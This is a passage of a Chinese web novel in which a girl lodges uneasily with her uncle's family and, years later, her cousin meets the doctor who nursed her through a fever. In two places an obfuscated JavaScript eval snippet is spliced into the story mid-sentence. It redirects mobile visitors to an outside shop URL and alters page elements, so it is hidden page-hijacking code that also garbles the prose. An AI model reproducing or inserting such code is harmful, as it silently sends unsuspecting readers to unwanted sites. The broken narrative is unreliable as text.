姜母把手机揣进口袋,捡起地上的一堆袋子:“快快快,别让你舅妈等久了,快走。” 姜颂快步跟上去。 18. 第 18 章 来开门的是姜舅妈。 大概是刚从厨房出来,她身上还系着围裙,素面朝天,头发随意绑成低马尾。 姜颂上一次见到她还是好几年前。 那时候的她化着精致的妆,穿着也和姜母等村里的女人们很不一样,优雅又得体,像姜颂在电视剧里看到的明星那样,与现在判若两人。 而今天眼前的舅妈让姜颂忽然觉得,她和村子里的那些婶婶有了些许说不出的相似之处。 是什么相似之处呢?她一时想不起来。 “来啦,快进来吧。” 姜舅妈招呼着母女俩进门,打断了姜颂的思绪。 姜舅舅的家很大,宽敞明亮,装修精致,连进门都要换拖鞋,姜颂在老家从没见过这阵仗。 姜舅妈从鞋柜里找出的拖鞋都是成人尺码,姜颂穿着很不合脚,只能趿拉着。 一进门,一个漂亮的小男孩正睁着一双大眼睛好奇地盯着她。 姜母弯腰对那小孩笑道:“这是轩轩吧,哎哟都长这么大了。” 自从姥姥姥爷去世之后,姜母和姜舅舅几乎就没了走动,陆轩出生后两家就没见过面。 姜颂自然也从没见过这个表弟。 “是很多年没见了。”姜舅妈微笑,“轩轩,叫姑姑和姐姐。” 陆轩脆生生地叫了声姑姑,轮到叫姜颂的时候,他晃晃悠悠地走过去,忽然一把抱住了姜颂的腿,仰头,两只大眼睛忽闪忽闪地望着姜颂,叫道:“姐姐!” 姜母笑:“轩轩挺喜欢我们家姜姜啊。” 姜舅妈对陆轩说:“轩轩好好跟姐姐玩,妈妈先去做饭了,待会儿爸爸回来咱们就开饭。” 姜母连忙提着东西跟上去:“正好我从家里带了点新鲜的菜和早上现杀的土鸡,城里很难买到的,我一起做一点,大家尝尝鲜。” 姜舅妈未置可否,只是微笑着接过东西。姜母一起跟进了厨房。 姜颂还站在原地,望着消失在拐角的母亲。陌生的环境,陌生的气息,都让她感到无所适从。 垂在身侧的手多了一抹柔软的触感,她看过去。 陆轩的小手拉过她的手,把她拉向沙发。 “姐姐,坐。”他自己却没坐,看了她一会儿,说,“等我一下。” 然后他一路小跑回房间,不多时,怀里抱了各种零食回来,塞到姜颂怀里。 姜颂意外:“给我?” 陆轩重重点头。 姜颂露出了从进门开始的第一个真心的笑容。 临近傍晚,姜舅舅终于下班回家。见到姜母和姜颂,寒暄了几句。姜舅妈招呼着众人入座开饭,姜颂不知该坐在哪里,等着舅舅一家入座之后,才在那张四方桌的桌角位置坐了下来。 席间,三个大人有一搭没一搭地聊着闲话。 姜颂低着头吃饭,陆轩凑过去跟她说想吃对面的松仁玉米,姜颂伸长了胳膊舀了一勺放进陆轩碗里。 大人们的视线一下子被她吸引过去。 姜舅舅大笑,调侃道:“姜姜不愧是姐姐,在家也挺照顾我大外甥的吧?” 姜母欣慰地看着女儿:“姜姜从小就懂事,平时我和她爸没空的时候都是她照顾小骄。” “姐,还是你福气好啊。等姜姜长大挣钱了,还能帮忙给小骄买房,你和我姐夫就能颐养天年了。哎,我都后悔没先生个女儿出来,这得轻松多少。” 姜颂一口饭在嘴巴里嚼得稀碎。 她毫不意外舅舅会这样说,因为舅舅的房子就是母亲掏钱付的首付。 母亲付首付并不是舅舅只缺首付,而是当年的母亲只能拿出那么多,甚至挪用了家里的存款。这事被父亲知道后两人大吵了一架,那阵子家里鸡飞狗跳,父母差点闹到离婚。 这些事正是姜颂在父母吵架的时候听到的。 她有种感觉,就是从那次吵架之后,母亲虽然嘴上一再强调舅舅是她的亲人,帮他买房子结婚理所应当,但之后母亲在家里大大小小的事的决定权上渐渐没有了底气,这种状态在面对父亲的时候尤为明显。 以至于她一直在想,母亲重复的那句“舅舅是她的亲人”,究竟是在说服父亲,还是在说服她自己? 同样是父母的孩子,为什么姐姐自己没有房子,却要贡献出全部的积蓄给弟弟买房?既然是亲人,为什么受到的待遇截然不同呢? 姜颂发呆的过程中,这顿饭到了尾声。 姜母还要赶晚上的火车,临走前她从那个有些掉皮的挎包里翻出一个信封,交给了姜舅舅:“以后我们会每个月打钱过来的,你外甥女就交给你照顾了,你多费心看着她点。” 姜舅舅捏了捏信封:“放心吧姐,姜姜也是我亲外甥女。” 无数的真情假意藏在场面话里,话已说尽,离别的时刻悄然到来。 姜颂眼含泪花望着母亲,姜母不舍,抱了抱她,然后用粗糙的手摸着她的脸颊,嘱咐她:“以后在这好好听话,爸妈不在你身边,你好好照顾自己,别给舅舅舅妈添麻烦,和轩轩好好相处,知道吗?” 姜颂不敢说话,她怕她一开口,眼里的泪花就会滑落,让愧疚的母亲更加难过,于是她只努力忍着鼻尖的酸意点头。 姜母离开了。 姜颂站在那看着母亲一点点走远,这周围她所熟悉气息彻底消失不见,那种令她不安的局促感又涌了上来。 姜颂记得,那天晚上舅妈给她收拾了一间客房。 铺床单的时候,她主动抢着去干。 姜舅妈顺理成章地把四件套递给她:“洗漱用品明天我去超市给你买新的,今晚就先凑合一下吧,卫生间里那些沐浴露、洗发水什么的你可以随便用。” 姜颂停下手里的动作,站得笔直:“好,我知道了,谢谢舅妈。” “嗯,有事直接和我说,早点休息吧。” 姜舅妈说完,从房间离开了。 姜颂铺完床,小心翼翼地用手摁了摁床垫,陷下去一大块,柔软得仿佛一片云朵。 她整个人在那张大床上躺成了一个“大”字形。 在老家她虽然也有一个房间,但是那门没有锁,房间里堆置了各种杂物,家里的每个人都可以随时进入。与其说那是她的房间,倒不如说是她自己硬要住在杂物间里。 而现在,她终于有了真正意义上的独立房间,虽然只是短暂的。 寄人篱下的不安与拥有不被打扰的独立房间的欣喜交织在一起,姜颂努力地忽略前者,只去享受当下躺在这张柔软大床上的滚来滚去的快乐。 很快到了开学的日子,舅舅上班,舅妈又要照顾陆轩,姜颂只好一个人带着学费到学校报到。 她选择坐公交去,因为对她来说很新奇。 与雨花镇那一天两趟按路程收费的班车不同,城里的公交车十分钟一趟,线路覆盖广,且多远的路程也只要两元钱。 让她感到便利的是,这里的公交是到站自动停,不需要她做很久的心理建设,时刻紧盯路线,然后隔着拥挤又嘈杂的人群扯着嗓子告诉司机在前面的哪个路口下车。 她好喜欢这种便利。 她上车找了靠窗的位置坐下,看着窗外的高楼大厦想,以后有机会她也要在城市里买一座属于自己的房子,每天坐公交去想去的地方,那样的日子可真好啊。 除此之外,在这一天,姜颂还知道了一个关于公交车的知识。 原来道路两侧站点经过的公交车是通往相反方向的。 怎么知道的? 因为她晚上放学回家的时候坐反了。 等她坐上返程公交回到舅舅家的时候,舅舅已经开车出去找她了。 两人正好擦肩而过。 舅妈欲言又止,最终还是没说什么,给姜舅舅打了电话,让他赶紧回家吃饭。 姜舅舅很快也回到了家里,姜颂内疚地跟他解释了为什么回家这么晚,姜舅舅安慰了她几句,教她怎么坐公交。 姜颂本来很是自责,紧张得疯狂道歉,见舅舅和舅妈都没说什么,才强迫自己放松了一些。 明天学校正式开始上课,姜颂抢着洗完碗,回到房间里,把今天发下来的新书仔细地包上书皮。 新学校环境非常好,地上是白净透亮的地板,不再是黑黢黢的水泥地。同学都礼貌有加,不会像雨花镇小学里早熟的男同学那样对着女孩子开一些尴尬的“玩笑”。 她双手托脸,在书桌前憧憬未来在新学校读书的日子,觉得好幸福好幸福。 如果爸爸妈妈在身边,就更幸福了。 小骄也到了要上幼儿园的年纪,爸妈打工的地方是更大的城市,环境应该更好吧?还可以和爸爸妈妈住在一起。 她忽然有点羡慕弟弟。 姜颂拿出今天在文具店里买的一包正方形彩纸,折了一只纸鹤,对着纸鹤许愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027691|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对纸鹤说,她希望以后能和爸爸妈妈生活在一起。 小小的纸鹤在灯下对她对视,姜颂笑得眉眼弯弯。她关掉台灯,躺在床上,期待着明天的到来。 她也不知道自己睡了多久。 睡前喝了一杯水,她半夜被憋醒,迷迷糊糊往卫生间走。路过主卧时,就是这么正好地听见了傍晚时舅妈那欲言又止的表情里藏着的话。 她困意顿消。 先是舅舅刻意压低的指责声:“你在家也没什么事,今天姜姜开学你怎么没送她一下,她刚来对这的交通不熟悉,还好没走丢,这要是丢了我怎么跟我姐交代?” “没什么事?轩轩这么小,不用我看着吗?家里唯一的车被你开走了,我去也只能带她和轩轩坐公交去,两个孩子我怎么照顾得过来?” “你打车啊,咱家还不至于连打车钱都没有吧?” “呵,打车?我哪敢,上次你是怎么说我的你自己不记得了?”姜舅妈学着丈夫的腔调,“连去个商场都要打车,还是你会享福啊!” “你少在这胡搅蛮缠,这是一回事吗?你个当舅妈的送送孩子上学怎么了,她不管你叫舅妈啊?还是你对姜姜有什么意见?” “我对孩子能有什么意见,难道罪魁祸首不是你?我当初说没说过,我的精力只够照顾轩轩一个孩子,不同意姜姜来,是你非要把她接来。你倒是借着上班躲出去了,姜姜来家里这么久了,你为她做过什么?还不是全都甩给我?再说了,你姐一个月就给八百块钱,我每天好吃好喝地做给她,我觉得我已经仁至义尽了。你一个只管点头不管事的有什么资格指责我?不能照顾外甥女的好名声都落在你头上,稍微出点问题就都怪我吧?” “我不上班怎么办,你又不赚钱,全家一起喝西北风啊?” “我辞职是为了什么你自己心里没数吗?我早就说过不要太早生孩子,结果所有人都在逼我,得亏轩轩是个男孩,要是个女孩,你们是不是还打算逼着我生二胎?你觉得我在家里舒服,那好啊,明天我出去找工作,你照顾俩孩子,我看看你能照顾成什么样!” “你简直是不可理喻!” “砰!” 姜颂被突如其来的开门声吓了一跳,随即而来的是舅甥二人隔着一段距离面面相觑的尴尬。 空气在这一刻凝滞。 “姜姜……” 姜颂揉揉眼睛,一副刚睡醒的模样,声调没精打采:“舅舅,你也要上厕所吗?” “啊,啊,对,你先去吧,舅舅待会儿再去。” 姜颂一脸困倦地点点头:“哦,好,我马上出来。” 姜颂拖着步子走向卫生间,感觉到背后的舅舅一直在看她。 她关了门坐到马桶上,缩成一团,眼泪控制不住地掉。 她不敢哭太久,怕明天起来眼睛肿了,被发现异样。 第二天早上,她的眼睛还是有点肿,吃早饭的时候全程没敢抬头,但只盼着赶紧吃完出门上学。 她抓紧扒拉碗里的稀饭,视野里却多了一个剥好的蛋,被盛放在小碟子里推过来。 姜舅妈温声对她说:“姜姜吃个鸡蛋,只喝稀饭没有营养。” 姜颂愣了愣,接过鸡蛋,扬起笑脸:“谢谢舅妈。” 她就知道,自己拙劣的演技还是没能骗过大人。 寄人篱下的日子让姜颂来形容的话,就是每一天都兢兢业业、如履薄冰,心里那根弦永远是紧绷的。 她紧张,她敏感,她脆弱,她无奈。 她不能怪舅舅和舅妈,因为是他们收留了她,也的确如舅妈所说仁至义尽;她也不能怪爸爸妈妈,因为他们正在远方努力打工为他们姐弟俩攒钱,非常辛苦。 那她的痛苦该怪罪谁呢? 好像只能怪自己了。 她怪自己为什么要做姐姐,如果她是妹妹的话,爸爸妈妈就会把她带在身边了吧。 然而没有如果,她还是姐姐。 所以她折了一只新的纸鹤,换了个愿望,她盼望自己赶紧长大,不做别人的拖油瓶。 上了高中之后,姜颂跟爸妈死缠烂打要到了住宿费,毅然决然地选择住校,尽量减少回舅舅家的频率,她想也许这样就可以同时减少舅舅和舅妈因她而起的矛盾。 她偶尔也会觉得自己太脆弱了,解决不了的问题永远在想办法逃避。 不过好在这种办法好像总是管用的。 19. 第 19 章 姜颂做了一晚上乱七八糟的梦,仿佛又回到了那段紧绷的日子,那种窒息感太过真实,令她陡然惊醒。 她大口大口呼吸,睁眼缓了好一会儿。神识慢慢回笼后,终于想起来自己早已远离了那种日子,重重松了口气。 头还有点晕,她撑着身体坐起来,按着太阳穴。 她记起昨晚自己好像是发烧了,然后在楼下碰到孟医生,他把她送上了楼…… 后来呢? 正想着,她的肚子咕咕叫起来。她昨天中午从家里出来之后就再也没吃任何东西了,这会儿还真是有点饿。 姜颂起床到厨房准备翻翻还有没有能吃的,谁料发现餐桌上放着个保温袋。 一旁压着一张便利贴,上面的字漂亮而清晰:醒了吃点东西。 落款写了一个“孟”字。 姜颂打开那个保温袋,里面有南瓜粥、小笼包和肉沫蒸蛋。 她坐下来舀了一勺南瓜粥送进嘴里,温热的。 也就是说,孟医生昨晚照顾了她一晚上,直到不久前才离开吗? 姜颂回想昨晚。 她虽然烧得迷迷糊糊,可能感觉到有人一直在用凉凉的东西给她降温。原来不是做梦,是孟医生一整晚没有休息在照顾她。 继那晚的拥抱之后,那种异样的感觉再次涌上心头。 她小时候发烧最多就是到村卫生院打一针,然后村医给开一大把用纸包好的、花花绿绿的散装药片,拿回家吃了硬扛。就算是她亲生父母,也从没有过一整晚衣不解带只为了照顾她的时候。 只认识一个多月的朋友可以做到这个程度吗? 她打开手机。 微信显示,孟医生昨天的确给她发过好几条消息,还打过电话,只不过她那时候手机静音,加上她不太舒服,一直没看手机。不过现在也没有回复的必要了。 她随手点开朋友圈,昨天发出去的那条汉服写真九宫格收到了许多点赞和评论,她的目光在那个小猫头像上停了许久。 孟决明评论:姜姜仙子何故下凡? 姜颂感觉自己的心像被猫轻轻抓了一下。 她说不上来现在是什么感觉。自打有了性别意识,她就很少接触异性,高中学文,大学读的也是文科专业,能接触到的男生少之又少。和异性相处这方面,她毫无经验。 是她太敏感想太多,还是…… 如果是后者,她必须找个机会对他说清楚,不能这样拖着他去期待她这个不会有结果的人。 只是在没有确定的情况下,她若是贸然开口,可能会让彼此都尴尬。 她眼睫轻压,没来由地有些不太明朗的情绪。 “叮咚!叮咚!叮咚!” 她的心忽然提了起来。 门外的人不会是孟医生吧? 姜颂耽误的几秒让门外人心急地扯着嗓子喊:“姐,你在家吗?” 听到熟悉声音的姜颂终于放了心,立马过去开门。 装着零食和一堆乱七八糟的食材的购物袋后面露出陆轩的脸,他呲着牙朝姜颂做鬼脸。 陆轩今年刚考上研究生,学校就在桐市,偶尔会来找她,只是最近说很忙很久没来了。 姜颂被他逗笑,伸手打了他一下:“怎么那么没正行。” 她接过袋子,发现还挺沉,改用双手提,无奈道:“你不是挺忙的吗,今天怎么有空来我这?” “我给你发微信说了要来陪你过元旦的呀!”陆轩带上门,一边往屋里走一边说,“你咋不回我微信啊?” 姜颂这才想起来今天是元旦假期,她略过自己生病的事,说道:“哦,我刚起来。” “那你是准备出门吗?”陆轩打量着姜颂身上的衣服。 姜颂后知后觉自己身上还穿着昨天回家时的内搭,是一件白色卫衣,在家里穿会有点热。 她立马编了个理由:“没有,这都是新买的衣服,我试试搭配,正好你就来了。” 陆轩神经大条,不疑有他,高高兴兴地把购物袋扒拉开:“我买了火锅底料和很多食材,今晚咱们吃火锅吧!” 姜颂看着他从购物袋里一样一样地往外拿东西,问他:“你放假不回家,舅妈不说你吗?” “哎呀,我回家她也不少说呀,动不动就让我找对象,烦都烦死了,我还是来你这躲躲的好,等过年再回家挨说也不迟。”陆轩嬉皮笑脸。 姜颂笑笑没说话,帮着他一块分类食材。 陆轩买的东西非常多,品类丰富,快赶上火锅店了。 “咱们就俩人,买这么多吃不完的,下次别买这么多了。”姜颂说。 陆轩嘿嘿一笑,姜颂知道他这表情的意思就是下次也不改。 姜颂拿了牛肉到厨房切,留陆轩一个人在客厅处理花菜和一些需要择的青菜。 约莫过了一个小时,门铃再次响起。 陆轩跑去开门,门后出现了一个同样提着两大袋购物袋的男人。 个高腿长,英俊不凡,气质出众,穿着像是精心挑选过的,质感和搭配都很在线。 陆轩打量着眼前的男人。 孟决明也有些意外地看着陆轩。 昨晚姜颂退烧后,他担心会反复,一直守着。后来不小心靠在她床边睡过去,醒来看她的情况好了很多,但人还没醒。 他到楼下买了些食物放在她桌上,并留了字条给她。 一夜几乎没怎么合眼,精心挑选来见她的衣服被他坐了一夜也变得皱皱巴巴,他不想姜颂见到这样不够完美的他。 回家给兰花补充了猫粮和水,洗澡后换了新的衣服,时间已经是下午了。他想她应该已经醒来,刚生过病,她还那么瘦,需要补充一下营养。 于是他顺路买了许多食材,准备到她家去给她做一些她喜欢的菜,看着她多吃一点。 他欢喜地拎着袋子来到她家门前,按响门铃,没料到开门的竟是个眉清目秀的小男生,看上去二十出头,学生打扮。 孟决明错愕过后抬头看了眼门牌号,确认自己没走错,刚想开口,却发现对面的男孩以一种“奇怪”的目光盯着他。 他只好说明来意:“我找姜颂,她在吗?” “啊,在在在!请进请进!”陆轩赶紧侧身让人进来,脸上带着夸张的笑容。 对于陆轩突如其来的热情,孟决明有点莫名其妙。 陆轩继续用那种奇怪的目光看着他,语气中隐隐压抑着激动:“你是孟师兄吧?” 孟决明一愣,很快反应过来:“你是郭老师的学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034214|194113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “对对对!郭老师经常提起你,你之前回学校开过一次讲座,我还去听了,讲得超级棒!师兄你简直是我偶像!” 孟决明笑笑:“谢谢。” 姜颂闻声从厨房出来,见陆轩拉着孟决明的胳膊一副狂热粉丝的架势,奇道:“你们居然认识?” 陆轩的话匣子大开:“不不不,是我单方面崇拜孟师兄。你不知道,孟师兄是我们导师的得意门徒,自打我进了师门,师门就一直流传着孟师兄的传说,他可是我们师门所有师兄弟姐妹的偶像!” 姜颂知道陆轩也学医,只是没想到世界这么小,孟医生居然是陆轩的同门师兄。 孟决明笑望着姜颂:“感觉好些了吗?” 姜颂沉吟了一会儿,别扭地移开了目光,嗯了一声。 这番对话让陆轩从刚才的激动中勉强冷静下来了一点,他突然觉得自己好像忽略了一个问题。 孟师兄和表姐是什么关系呢? 看孟师兄刚才轻车熟路进门的样子,肯定不是第一次来了。但是表姐家里却没有属于男人的物品,这俩人看起来也不像在谈恋爱的样子。 陆轩余光瞥见一边快准备好的火锅食材,忽然心生一计。 他对孟决明发出了邀请:“师兄我们准备晚上煮火锅呢,菜买了很多,你也留下来一起吧!” 孟决明询问姜颂:“方便吗?” 姜颂想了一下。 假如今天只有她和孟医生两个人,那她一定会忍不住继续胡思乱想,很不自在。不过现在有陆轩在,昨晚好歹孟医生还照顾了她一晚上,一起吃顿火锅也说得过去。 姜颂:“一起吧。” 陆轩目光悠悠在俩人之间转了一转。 虽然见到偶像很高兴,但是如果偶像变成姐夫,那他将会高兴到在睡觉的时候都狂笑。 趁着上厕所的工夫,陆轩悄悄用手机给人发了条微信,让人七点半给他打个电话,就说导师有事找他。 孟决明心不在焉地处理着食材,忍不住去看陆轩和姜颂有说有笑的背影,心中暗自思量着两人的关系。 他这段时间确实忙,和姜颂的联系稍微少了一些,这中间的时间她认识了新朋友倒也不奇怪,她这么好的女孩子被人喜欢也一点都不奇怪。 这个陆轩嘴甜又积极,关键是,他很年轻。 孟决明读书时跳了几级,从小到大都是所接触的那批同龄人中岁数较小的一个,甚至于毕业之后参加工作,别人评价他也都是“这么年轻肯定不靠谱”或者“孟医生真是年轻有为”。 这还是第一次他感觉到自己的年龄已经不算优势了。 姜姜跟陆轩这样的年轻男孩会更有话题吧,比如他们正在聊的动漫角色,他完全插不上话。 他在这样的年纪正孤身远在美国,每天泡在实验室和图书馆里与那些冰冷的数据与标本打交道,对这些流行的动漫和游戏几乎一无所知。 在这一刻,他忽然意识到自己与姜颂之间的代沟。他想,之前的相谈甚欢,也许都是姜颂在向他兼容。 他和陆轩之间,姜姜选择他的概率能有多大呢? 他一分神,落下的刀不小心划破手指,他神色如常地摁住伤口,没有打扰一旁聊在兴头上的两人。